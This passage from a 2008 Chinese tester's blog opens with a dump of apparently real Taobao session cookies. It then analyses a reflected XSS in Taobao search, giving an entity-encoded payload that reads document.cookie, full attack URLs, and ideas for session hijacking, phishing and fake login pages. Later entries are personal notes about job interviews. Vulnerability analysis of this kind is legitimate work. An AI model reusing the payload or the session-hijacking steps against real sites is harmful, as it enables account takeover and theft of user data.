    3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%

    3D&existShop=false&existXShop=false&_yb_=false; cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3;

    _reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS; _reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D;

    cookie1=L0kKVuHbka5%2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0;

    btc=81000867%2B150402%3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D;

    _nk_=sihanjishu; user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D



    cookie不是完全一样,很奇怪,没有分析具体的原因。然后使用sessionIE,去访问得到的页面,竟然发现提示需要登录。
    看来是淘宝做什么限制了,不在同一台计算机的登录时不同的。这样的情况,在qq邮箱里也存在,应该是采用什么技术吧,以前听说过一点。

    既然得到cookie无法去访问后台,就表明暂时这个xss还是没有太大危害性的。



    现在换一个思路。既然得到cookie也无法操纵别人后台,那我就选择在xss的时候通过js去操纵。



    这时发现搜索页面,也就是那个存在xss的页面,竟然和淘宝的用户后台不在一个二级域名中,也就是说,可能不在同一个计算机上。这样xss的请求访问后台,是相当于跨域访问的。


    剩下的思路就是通过一些跨域的漏洞,去访问其他域名下的信息,比如操纵后台的操作,访问别人的站内信内容。
    我不知道淘宝的cookie设置的是否是二级域名区别的,如果可以访问同一根域名下的内容,这样就简单多了。


    这个xss的危害

    1、可能导致用户的信息泄漏。后台的数据遭到篡改。利用ie的跨域漏洞,可能会访问到很多的内容。
    2、可能会利用社工,用来欺骗用户的密码,在外部的js文件中,做一个登录的假页面,然后用户的用户名和密码。
    3、利用淘宝上的这个xss,直接在js中加载一些恶意代码,网页木马什么的。直接入侵用户的电脑。


    暂时研究到此为止吧。




  • 淘宝xss的简单分析

    2008-08-15 18:27:19


    bzcyer提到了一个淘宝的xss问题。
    帖子的地址
    http://bbs.51testing.com/thread-123477-1-1.html

    感觉很有意思,淘宝竟然连基本的xss符号都没有过滤。

    这是作者的原来的xss测试语句。
    >"'><img src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(21879)>

    简单修改一下
    >"'><img src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(document.cookie)>

    监听http发送请求的过程。
    原始的正常请求
    http://search1.taobao.com/browse/search_auction.htm?f=D9_5_1&commend=all&prop=&ppath=&promote=&_promote=&isnew=&user_action=initiative&at_topsearch=1&search_type=auction&q=xxxxxxxxxx&cat=&productCat=1&book_search=fuzzy_sr_all_text

    修改请求为xss攻击语句。
    http://search1.taobao.com/browse/search_auction.htm?f=D9_5_1&commend=all&prop=&ppath=&promote=&_promote=&isnew=&user_action=initiative&at_topsearch=1&search_type=auction&q=>"'><img src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(document.cookie)>&cat=&productCat=1&book_search=fuzzy_sr_all_text

    没有成功,呵呵。
    忘记http请求会修改编码的,修正一下
    http://search1.taobao.com/browse/search_auction.htm?f=D9_5_1&commend=all&prop=&ppath=&promote=&_promote=&isnew=&user_action=initiative&at_topsearch=1&search_type=auction&q=>"'><img src=javascrīpt:alert(document.cookie)>&cat=&productCat=1&book_search=fuzzy_sr_all_text

    这样就已经可以达到xss了。


    下一步就是黑客的做法了。

    修改xss语句为获取cookie,然后使用sessionIE,就可以操纵他的cookie了。因为快下班了。所以,没有时间继续研究了。如果深挖,可能会有更多的应用。

    以后再研究,给一个完整利用的方法。我不知道淘宝会不会有什么限制,比如即使获得session,仍然无法登陆对方的帐户。这就不得而知了。试验一下才知道。

    如果可以的话,利用起来就是欺骗了。

    将以上的xss连接发送给别人,说是中将之类的,别人点击之后,就会截获他的session,进行一些操作了。
    除非,淘宝做了闲置,否则,这是一个明显的漏洞和bug。




  • 二次面试与希望

    2008-08-15 16:09:28

    自己迄今为止参加了三次面试,都经历了二面。


    第一次是文思创新,第一面的感觉很好,也很谈的来,英语,技术都过关。
    二次面试是一次突如其来的电话面试,在楼道里谈的时候,碰巧和我的pm碰到一起了。然后面试就失败了。非常郁闷。

    第二次是搜狐,我决定脱离微软系,去做国内的自动化,性能测试。感觉这样才是有挑战性和难度的工作。也可以学习到很多东西。
    第一面谈的也很好,虽然对自动化底层知识浅薄外,自己的心态还是很好的,最后我们还谈好了一个约定。两个星期如果我精通了qtp,就录用我。
    两个星期后第二面,虽然我匆匆看了几遍qtp,答对了大多数的笔试题,最终还是因为对qtp不精通,不熟练失败。

    第三次阿里巴巴,看好阿里巴巴,是因为他们公司的对技术的要求。
    第一面回答的很勉强,笔试题很简单,面试回答的不好,以前我玩过selenium,在简历上有提到,没有想到他们问的很细,原来他们对selenium有过很深的研究。我已经半年多没有再看过selenium,因为项目的关系。
    自己仅有的一次性能测试经历,也已经忘记了很多,回答的很乱。个别的地方都回答错误了。对自己的面试不满意。
    没有想到,接到了第二面的通知,然后参加了第二面,中间面试涵盖了很多的方面。
    这次,在回答上有点保守。不过面试过程还是很有意思的。很多问题,问的很有深意,自己也喜欢。
    不过,因为自己感觉精神面貌上没有以前那样积极了,所以,自己感觉回答的也是不好。很多问题,也是一知半解。自己应该提前准备一下,泛泛项目日志,看一下性能测试的书。
    结果还没有出来,估计也是没有下文了。



    自己没有领域内的特长,我完全是依靠自己的基础知识,和良好的心态去面对的。
    能够撑到第二次面试,说明自己还是有可取之处的,
    最后的常常是差一点而功亏一篑。
    所以,自己不要过分的悲观,再继续努力。

    相信自己。




  • 搜狐面试失败

    2008-08-15 15:33:14

    搜狐面试失败了。


    我曾经给他们打过赌,两个星期熟悉qtp,但是因为项目太忙,只看了4天。
    的确我答对了他们的16道题中的14道。也完成了他们布置给我的题目。
    也花时间去研究自动化测试的底层知识,还反编译了微软的maui部分代码。
    但是,最终还是因为自己对qtp不熟悉,没有经验,而失败。


    挺失望的,是对自己,
    我当初说,熟悉qtp,应该不是只针对表面的知识,不能仅仅以答对他们的笔试题目为目标。
    其实自己,还是不熟悉。
    这次没有太多愧疚。我已经努力了,项目忙,没有时间去做太多了。
    为了那次面试,我连续两个星期每天一两点多睡觉。

    没有工作经验,始终是皮毛。

    有了这次经验,对自己很宝贵。也警告自己,技术不能肤浅,自己还有很多需要努力。
    这次辞掉工作,也是为了给自己时间,去好好学习一下qtp与loadrunner。
  • 激励自己

    2008-08-14 21:23:37

    离职手续办完后,自己将是最无助的时候。提前写个日记,勉励自己。

    1、不再做没有结果的付出和努力,任何人想成为一个专家的时间,都不会超过6个月。自己一年了,水平依然很菜,所以,自己的努力方向不对。

    2、现在的工作就是养老,所以,我选择了破釜沉舟,不让自己沉沦。

    3、选择自己喜欢的一个方向,然后努力。付出就会有成果。

    4、国足是高薪低能,自己是底薪低能。我不能连国足也不如。一定要努力。

1727/9<123456789>
Open Toolbar